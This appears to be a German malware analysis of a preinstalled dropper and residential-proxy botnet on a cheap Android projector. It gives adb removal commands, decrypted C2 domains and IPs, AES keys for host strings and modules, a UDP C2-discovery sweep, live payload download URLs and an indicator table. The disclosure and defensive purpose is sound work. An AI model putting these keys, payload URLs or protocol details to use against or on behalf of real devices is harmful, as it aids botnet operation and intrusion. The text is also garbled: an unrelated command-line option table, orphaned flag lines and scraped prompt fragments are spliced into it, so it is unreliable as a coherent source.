adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**Ergebnisse auf dieser Einheit nach Bereinigung und Neustart:**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

Wiederhole die netstat-Prüfung nach 24 Stunden (der Loader meldet sich alle 6 Stunden) und suche in deinen DNS- und Firewall-Protokollen nach Blocklist-Treffern von der IP des Projektors.

8.4. Einschränkungen

  • Ein Werksreset bringt yiyou & sysapp zurück. Führe Abschnitt 8 vor dem Netzwerkzugriff erneut aus.
  • Das erneute Einbinden von /system im Lese-/Schreibmodus zum Löschen der APKs wird nicht empfohlen: vbmeta ist gesperrt, /system ist zu 100 % voll, sodass adb disable-verity + adb remount ein Overlay in /data erzeugen würde (verloren bei einem Werksreset, wie pm uninstall --user 0) mit dem Risiko eines Boot-Fehlers.
  • Dauerhafte Entfernung bedeutet also, die APKs aus super in deinem Dump zu löschen und ihn über FEL zu flashen. Ungetestet.``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. Bloatware```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

Rückgängig machen mit pm enable --user 0 <package>

  • com.android.toofifi: Kern-Screencast-Dienst. Du verlierst Screen-Mirroring (Miracast/AirPlay-artiges Casting) von Telefonen und Laptops.
  • com.toofifi.lineserver: Kabel-/USB-Display-Server für denselben Stack, telefoniert nach Hause zu server.mphotool.com:8680 für Lizenzprüfungen. Du verlierst den kabelgebundenen Display-Modus.
  • com.toofifi.miracast: Drahtloser Miracast-Empfänger, ruft server.mphotool.com:8680/MPAPI/System/CheckUpdate auf und lädt Nutzungsprotokolle zu mphotool.com/FeituAppLogMgr hoch. Du verlierst drahtloses Casting.
  • com.mphotool.usbcastserver: USB-Cast-Server, derselbe Anbieter. Du verlierst die USB-Cast-vom-Gerät-Unterstützung.
  • com.rockchip.devicetest: Kein Grund, auf einem Allwinner-Gerät zu sein.

9. Vollständige Komponentenkarte

Statische Analyse. Rohdekompilierte Quellen, die entschlüsselten .rf-Module und die verwendeten Skripte werden in analysis/ (decompiled/, decrypted_modules/, tools/) aufbewahrt.

9.1 OTA-Updater

com.android.sysapp

Dekompilierte Klassen a.a.b.m/a.a.b.n geben die exakte, wörtliche OTA-Anfrage an:``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
via Apache `HttpPost` mit leerem Formular-Body. Alles befindet sich im Query-String, daher sind GET und POST äquivalent und es gibt keine Signatur/kein Token. Live wiederholt (2026‑09‑26): `{"code":200,"data":[]}`, scheint kein Paket für diese productid zu haben, bei jeder versuchten Version.

### 9.2 Dropper

`com.android.umanalytics.yiyou`

**Selbst-Update** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` liefert `DownLoadURL` mit `MD5` und `VersionCode`, die heruntergeladen, MD5-geprüft, `PkgUtils.install(path, 1)` und still selbst ersetzt werden.

**`plugin.jar`-Abruf** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` liefert `plugin.jar`, die nach `<cache>/plugin.jar` heruntergeladen und mit `DexClassLoader` geladen wird. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` ist der Einstiegspunkt.

**Pro-Gerät-App-List-Profil**
Dies sind die benutzerdefinierten Apps für jedes Gerät in der Kampagne (wahrscheinlich gepatcht, um DRM zu umgehen?)

`com.anlytics.plug.b` fingerprintet das Board (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, installierte Pakete, Dateien wie `/system/etc/voice.tar.gz`) gegen 40 hartcodierte Profile und wählt die passende `appsinfo/.../infos*.json`-URL aus den Konstanten in `com.tools.a` aus.

Diese Einheit liefert `com.ashd.launcher10` und meldet `persist.sys.cm.dtsmodel=AT-M269` / Board `ares`, und das einzige H713-"launcher10"-Profil in der Tabelle ist:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

| --no-color | Deaktiviert farbige Ausgabe | | --debug | Aktiviert Debug-Protokollierung | | --verbose | Aktiviert ausführliche Protokollierung | | --quiet | Unterdrückt alle Ausgaben außer Fehlern | | --config | Gibt eine benutzerdefinierte Konfigurationsdatei an | | --timeout | Legt das Anforderungs-Timeout in Sekunden fest | | --retry | Legt die Anzahl der Wiederholungsversuche für fehlgeschlagene Anforderungen fest | | --proxy | Gibt einen Proxy für Anforderungen an | | --user-agent | Legt den User-Agent-Header für Anforderungen fest | | --header | Fügt einen benutzerdefinierten Header zu Anforderungen hinzu | | --cookie | Fügt ein Cookie zu Anforderungen hinzu | | --data | Sendet Daten im Anforderungstext | | --json | Sendet JSON-Daten im Anforderungstext | | | Sendet Formulardaten im Anforderungstext | | | Schreibt die Ausgabe in eine Datei | | | Liest die Eingabe aus einer Datei | | | Unterdrückt alle Ausgaben | | | Zeigt Versionsinformationen an | | | Zeigt Hilfemeldungen an |```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl ""

root@kitploit:~
**Vollständige Liste der 40 Profil-URLs**
Jede ist wahrscheinlich eine Opfergerätefamilie innerhalb derselben Kampagne:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json  H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json  YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json

Jede infos*.json listet die Apps auf, die per pm install -r installiert werden sollen (Payload com.google.adtest + Cover-Apps wie Disney+), wie in 3. beschrieben.

9.3 plugin.jar

C2-Host-Verschlüsselung com.hs.p.basic.Hosts/EncryptUtils Jeder Host-String ist AES/CFB/NoPadding (Schlüssel MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), gzip-komprimiert, dann base64:

  • API_MASTER_HOSTS: https://api.loritor.cc/
  • TRACKER_SLAVE_HOSTS: https://api.loritor.cc/
  • API_SLAVE_HOSTS: https://api.nizero.cc/
  • TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (Priorität gegenüber API-Kanal vertauscht?)

Sowohl loritor.cc als auch nizero.cc schienen zum Zeitpunkt dieses Tests nicht erreichbar zu sein.

Task-/Config-API-Pfade GetTaskApi, GetConfigApi POST <host>/0x01/ov/x1 (Config: Silent-Windows, Log-Toggle, Host-List-Push, Poll-Intervall) und POST <host>/0x01/ov/x2 (Task-Liste: cursor-paginiert jars[]/dexs[]/apks[], jeweils mit file_url/file_md5/vercode/task_id). Das "data"-Feld des Response-Bodys ist auf dieselbe Weise verschlüsselt, Schlüssel "ota.api.d3b194c07b63d688969c258719ca3f0f".

.rf-Modulformat Entschlüsselung aller vier Module, die ich mit gültigen DSA-Signaturen habe: [4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].

AES-Schlüssel = MD5("968a84be78d3421d5e771147dce2b766" + salt), gleicher fester IV wie oben.

Der DSA-Public-Key ist hardcodiert (1024-Bit, eingebettet in DexManager/JarExe). Der Klartext ist ein ZIP/APK, kein rohes dex.``` SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"} SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"} SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"} SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

root@kitploit:~
### 9.4 com.ad.proxy

`SKN0041`

Der Eintrag `MainApi.start_W0017` startet den Client `Robin`. Zwei einfache HTTP(S)-Endpunkte, `channel`/`version` werden von demjenigen bereitgestellt, der das Modul aufruft:```
GET  https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
     body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
     # reports back which proxy gateways it reached

9.5 com.szns.sdk

SKN0054

Domain/IP-Zeichenfolgen sind hier obfuskiert: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip in der Klasse com.szns.sdk.t.

Der exakte Algorithmus wurde repliziert (analysis/tools/decode_szns_t.py) und alle vier hartcodierten Bootstrap-Endpunkte entschlüsselt:``` ac.a() -> https://hgsdkszns.com ac.b() -> http://dporder.midrouterx.com/api/dispatch (state 1: fetch "domain_info", cached 24h) ac.c() -> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss") ac.d() -> 43.173.127.241:9090 (state 5: "ip_tcp_info" bootstrap)

root@kitploit:~
Wenn keine zwischengespeicherte Dispatch-URL vorhanden ist (Zustand 7):
UDP-Sweep von `43.153.12.1` - `43.153.80.100:8080`

Senden der literalen ASCII-Nutzlast `"moon2"`, warten auf eine beliebige Antwort, die mit `http` beginnt. Diese Antwort wird zur Dispatch-URL.

Jede Bootstrap-Anfrage ist `POST <url>` mit den Formularfeldern `{"operator":<c>,"c":"moon2","name":<d>}` in `com.szns.sdk.x`.

Welche Dispatch-URL auch immer aufgelöst wird, an diese werden dieselben Felder per POST gesendet, und sie gibt die echte Gateway-Liste zurück, verschlüsselt als `AES/CBC/PKCS5` (Schlüssel `"5360e2884c119aa32a767ceb1c0889b0"`, zufälliger IV, Umschlag `base64(iv):base64(ciphertext)`)

Entschlüsseltes JSON-Format: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.

### 9.6. com.link.core

`SKN0058 `

Einzelnes fest einprogrammiertes Gateway, keine Discovery-Schicht: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Für eigene Lookups verwendete DNS-Resolver: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Liest `/proc/cpuinfo` und `/sys/class/net/{eth0,wlan0}/address` für Device-Fingerprinting.

### 9.7. ddth2 (VpsSdk)

`SKN0061`

Fest einprogrammierter Gateway-Pool, `ddth2.hidden.o`: Domains `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IPs `45.43.57.99`, `165.154.135.52`.

Ein persistentes, benutzerdefiniertes binäres TCP-Protokoll:

- verbinden
- `REGISTER`/`REGISTER_ACK`-Handshake (8-Byte-Frame-Header, Opcode+Länge)
- Gateway sendet dann Connect-Befehle (`{host, port}`
- gefiltert gegen private/Loopback-/Multicast-Bereiche, die pro Sitzung proxied Sockets erzeugen, was die "vielen parallelen Client-Instanzen" erklärt.

### 9.8. com.google.adtest

oder `com.fotas.wanapp ("com.speed")`

Der echte interne Paketname ist `com.fotas.wanapp` (App-Klasse `com.fotas.wanapp.APP`). `onCreate()` richtet drei Hosts nach demselben Master/Slave/Random-Muster wie `plugin.jar` ein:```
master -> https://api.pechlo.cc/
slave  -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/

Die Geräte-Registrierung erfolgt über POST https://codedevapp.com/api/v1/device/dau.

Zwei Dienste werden gestartet:

  • com.google.android.AdService
  • com.google.android.BakService

Sondiert reflektiv nach einer optionalen Klasse com.fotas.wanapp.ChannelSdkInit und initialisiert sie, falls vorhanden. App-ID-Strings: "wanapp", "WAN_AISHANG_001".

9.9. Live-Status-Momentaufnahme (2026-09-26)

Schreibgeschützte Erreichbarkeitsprüfung von einem unabhängigen Host (keine Proxy-Protokolle/Nutzlasten gesendet, keine Interaktion mit dem Projektor selbst):

10. URLs

11. Sonstiges

Entwickleroptionen:

  1. Deviceversion.onKeyDown (Bildschirm „Geräteinfo" in den Einstellungen) wartet auf einen Konami-artigen Code, Up Up Down Down Left Left Right Right Center Center, der versucht, die Entwickleroptionen zu öffnen. Bei mir hat das nicht funktioniert.
  2. Up Down Left Right Center versucht, com.konka.readmain.MainActivity zu starten, eine unabhängige OEM-Werks-Test-App, die auf diesem Gerät nicht tatsächlich installiert ist. Ebenso, hat nicht funktioniert.``` adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion adb shell input keyevent 19 adb shell input keyevent 19 adb shell input keyevent 20 adb shell input keyevent 20 adb shell input keyevent 21 adb shell input keyevent 21 adb shell input keyevent 22 adb shell input keyevent 22 adb shell input keyevent 23 adb shell input keyevent 23
root@kitploit:~
Tool herunterladen
BegriffFunktionLAN
NetworkInterface (adtest, plugin, SKN0061)Liest die eigene IP und MAC des Geräts für die Bot-IDNein
DatagramSocket in SKN0041UDP-Relay für Proxy-Sitzungen zum GatewayNein
DatagramSocket in SKN0054C2-Erkennung: durchsucht 43.153.12-80.1-100:8080 (öffentlicher Cloud-Bereich)Nein
ServerSocket in plugin.jarVideo-Re-Stream-Server, siehe untenNein
Runtime.exec-Treffer (yiyou, plugin.jar, adtest, SKN0041/54/58/61)Interna von Drittanbieter-SDKs, chmod 777 auf lokale Dateien, su/pm/dumpsys für Vordergrund-App- oder Root-Prüfungen und vom Betreiber ausgegebenes ping in SKN0041Nur ping-Befehl
UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/Subnetz-Berechnungen, ADB 5555, telnetkeineNein
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soBinder-only OEM-Dienst: Property get/set, rohes Datei-Lesen/Schreiben/Löschen, mount/umount, Boot-Logo/-Animation. Kein socket/bind/connect/listen/accept-Symbol in einer der beiden BinärdateienNein
qwSuperuser/ClockworkMod su-Daemon. Nur Unix-Domain-Socket-Pfade in seinen Strings (/dev/com.koushikdutta.superuser[.daemon]), kein IP-Literal, kein AF_INETNein
com.android.nfx (NFXAccessibility)Netflix-D-Pad-Navigationshelfer, nur aktiv, während com.netflix.mediaclient im Vordergrund ist. Das Manifest hat überhaupt keine INTERNET-BerechtigungNein
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")
--form
--output
--input
--silent
--version
--help
http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk
http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk
http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk
HostDNS-/VerbindungsergebnisAnmerkungen
api.loritor.cc, api.nizero.cclöst auf (Cloudflare), HTTP 404 auf /aktiv; echte Pfade sind /0x01/ov/x1, /0x01/ov/x2
api.kookjar.comlöst auf (Cloudflare, 172.67.159.65), HTTP 204aktiv
152.32.240.141 (SKN0041 Debug-Fallback)TCP/80 Timeoutnicht erreichbar; ohnehin nur Debug-Pfad, Produktion nutzt api.kookjar.com
dporder.midrouterx.comlöst direkt auf (43.174.196.241, Tencent Cloud), HTTP 200 auf /api/dispatchaktiv
seed-info.oss-ap-southeast-1.aliyuncs.comlöst auf (47.79.49.170, Alibaba Cloud SG), HTTP 200, liefert favorite.icoaktiv
hgsdkszns.comlöst auf (Cloudflare)DNS aktiv; einfache HTTPS-Sonde zurückgesetzt (ungenutzter Zweig im aktuellen Build, siehe 10.5)
43.173.127.241:9090roher TCP-Connect erfolgreichaktiv, lauscht gerade jetzt
api.eviceh.cc:16000löst auf (152.53.83.204)DNS aktiv, TCP/16000 zum Prüfzeitpunkt verweigert (Gateway lauscht derzeit nicht)
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52in diesem Durchlauf nicht erneut geprüftsiehe Abschnitt 11
api.pechlo.cc, api.logobi.cclösen auf (Cloudflare), HTTP 404 auf /aktiv
random.vivosoc.cckein DNS-Eintragscheint tot/abgelaufen
codedevapp.comlöst auf (5.161.41.216, Hetzner)aktiv; /api/v1/device/dau ist nur POST, daher bricht ein reines GET ab
Host / URLKomponenteRolle
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.comsysapp, yiyouRoot-OEM-Backend-Domain
wjtysj.ishanghd.com/hx_kt.phpsysapp (AshdSysApp)OTA-Updater-C2 (act=project&do=getPackageInfo)
ty.ishanghd.com/work/app/wj/factory/update.jsonyiyouDropper-Selbstupdate-Zeiger
ty.ishanghd.com/work/app/wj/appsinfo/* (40 Pfade, siehe oben)yiyouNutzlast-/App-Listen pro Gerätefamilie (pm install -r-Ziele)
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.jsonyiyouplugin.jar-Abrufzeiger
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jaryiyoutatsächliche plugin.jar-Nutzlast (versionierter Pfad, ändert sich mit der Zeit)
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zipplugin.jarWidevine-L3-DRM-Schlüssel-/Lizenzpaket, wird abgelegt, damit Streaming-Apps auf dem nicht zertifizierten Gerät laufen
api.loritor.cc, api.nizero.ccplugin.jar ("hs")Task-/Konfig-API (/0x01/ov/x1, /0x01/ov/x2), sowohl als API-Kanal (Master/Slave) als auch als Tracker-Kanal (Slave/Master vertauscht)
api.kookjar.com (+ 152.32.240.141 Debug)SKN0041/signin, /report
api.eviceh.cc:16000SKN0058einziges Gateway
hgsdkszns.comSKN0054zusätzlicher fest codierter Bootstrap-Host (ungenutzter Zweig im aktuellen Build)
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, erreicht über den OSS-Bootstrap unten)SKN0054primärer Dispatch-Bootstrap
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.icoSKN0054OSS-gehosteter Bootstrap-Redirector (Alibaba Cloud OSS)
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.icoSKN0054Tencent-COS-Backup-Spiegel derselben Bootstrap-Konfiguration
43.173.127.241:9090SKN0054ip_tcp_info-Bootstrap-Host (exakter Port bestätigt, live)
43.135.136.224SKN0054Dispatch-Gateway live beobachtet (tcp/7788 /api/dispatch, tcp/9090)
43.159.148.198SKN0054Gateway-/Serverlisten-Endpunkt live beobachtet, /dp/getServer (wahrscheinlich dynamisch innerhalb der verschlüsselten node[]-Liste zurückgegeben)
43.130.60.175SKN0054zusätzlicher Proxy-Gateway-Knoten (tcp/9090), live beobachtet
43.153.12.1–43.153.80.100:8080 (UDP)SKN0054Discovery-Sweep; Sonden-Nutzlast ist wörtliches ASCII moon2
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52SKN0061Gateway-Pool, benutzerdefiniertes TCP-Proxy-Protokoll
api.pechlo.cc, api.logobi.cc, random.vivosoc.cccom.speed / com.fotas.wanappMaster-/Slave-/Random-C2
codedevapp.com/api/v1/device/daucom.speed / com.fotas.wanappGeräte-Registrierung
live.sz-cloudmedia.com:8080/ota/Legacy-OTA (ältere/Schwester-sysapp-Variante)Sackgasse, die Domain hat keine ICP-Registrierung, Alibaba blockiert sie.
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.comyiyou (Umeng SDK)Telemetrie von Drittanbieter-Analysen, die die vom yiyou-App gesammelten Geräte-Fingerabdrücke (Seriennummer, MACs, SSID/BSSID) überträgt
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.comyiyou (Baidu Mobile Stats SDK)dieselbe Telemetrie-Rolle, über Baidu
cmnsguider.yunos.com, ip.taobao.com, g3.le.comyiyouAlibaba-/Yunos-Geräte-Token- und öffentliche-IP-Lookup-Dienste, die zum Fingerprinting genutzt werden